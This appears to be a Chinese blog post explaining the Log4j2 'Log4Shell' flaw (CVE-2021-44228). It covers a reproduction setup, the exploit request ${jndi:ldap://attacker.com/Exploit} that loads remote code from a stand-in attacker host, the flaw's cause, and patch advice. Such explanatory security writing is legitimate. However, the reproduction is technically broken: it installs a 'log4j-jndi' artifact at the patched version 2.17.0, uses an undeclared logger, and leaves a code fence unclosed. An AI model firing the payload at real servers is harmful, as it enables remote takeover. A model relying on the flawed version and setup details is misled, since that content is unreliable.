返回

【闪电解剖】传说中的核弹级漏洞是如何诞生的?

后端







  
## 从新闻到事件

就在前不久,全球知名开源日志记录框架 Log4j2 再爆漏洞(CVE-2021-44228),其利用方式多样,危害极大,被业内专家称为 " 核弹级漏洞 "。该漏洞允许攻击者通过构造恶意日志消息,使 Log4j2 从远程 LDAP 服务器加载并执行任意 Java 代码。这使得攻击者可以轻易地在目标服务器上执行任意恶意代码,从而导致服务器被攻陷。

## 漏洞复现

要了解漏洞的危害,我们先来简单复现一下漏洞。

首先,我们需要搭建一个测试环境。我们可以使用 Docker 搭建一个简单的 Java Web 应用环境。然后,在该环境中安装 Log4j2 并引入 JNDI 模块。

```java
<dependency>
  <groupId>org.apache.logging.log4j</groupId>
  <artifactId>log4j-jndi</artifactId>
  <version>2.17.0</version>
</dependency>

接下来,我们需要创建一个简单的 Servlet 来接收用户请求并记录日志。

@WebServlet("/test")
public class TestServlet extends HttpServlet {

  @Override
  protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    String name = req.getParameter("name");
    logger.info("Hello, {}!", name);
  }
}

在该 Servlet 中,我们使用 logger.info() 方法记录了一条日志,其中 name 参数是从用户请求中获取的。

现在,我们就可以利用该漏洞来执行任意 Java 代码了。我们可以使用以下恶意请求来攻击目标服务器:

GET /test?name=${jndi:ldap://attacker.com/Exploit}

当目标服务器处理该请求时,Log4j2 会尝试从 attacker.com 加载并执行 Exploit 类中的 Java 代码。这样,攻击者就可以在目标服务器上执行任意恶意代码了。

漏洞原理

该漏洞的原理并不复杂。它利用了 Log4j2 中 JNDI 模块的特性。JNDI 模块允许 Log4j2 从远程服务器加载资源,例如配置文件、日志文件等。而攻击者可以通过构造恶意日志消息,使 Log4j2 从远程 LDAP 服务器加载并执行任意 Java 代码。

漏洞危害

该漏洞的危害非常大。它允许攻击者在目标服务器上执行任意恶意代码,从而可以轻易地窃取敏感数据、破坏系统、植入后门等。该漏洞还可能被用于发动大规模的 DDoS 攻击,对互联网基础设施造成严重破坏。

修复方案

Log4j2 官方已发布了修复该漏洞的补丁。用户可以将 Log4j2 升级到最新版本(2.17.1)来修复该漏洞。此外,用户还可以通过禁用 JNDI 模块来修复该漏洞。

总结

Log4j2 中的 JNDI 远程代码执行漏洞是一个非常严重的漏洞。该漏洞的危害极大,可能被攻击者用于发动大规模的网络攻击。用户应尽快将 Log4j2 升级到最新版本(2.17.1)或禁用 JNDI 模块来修复该漏洞。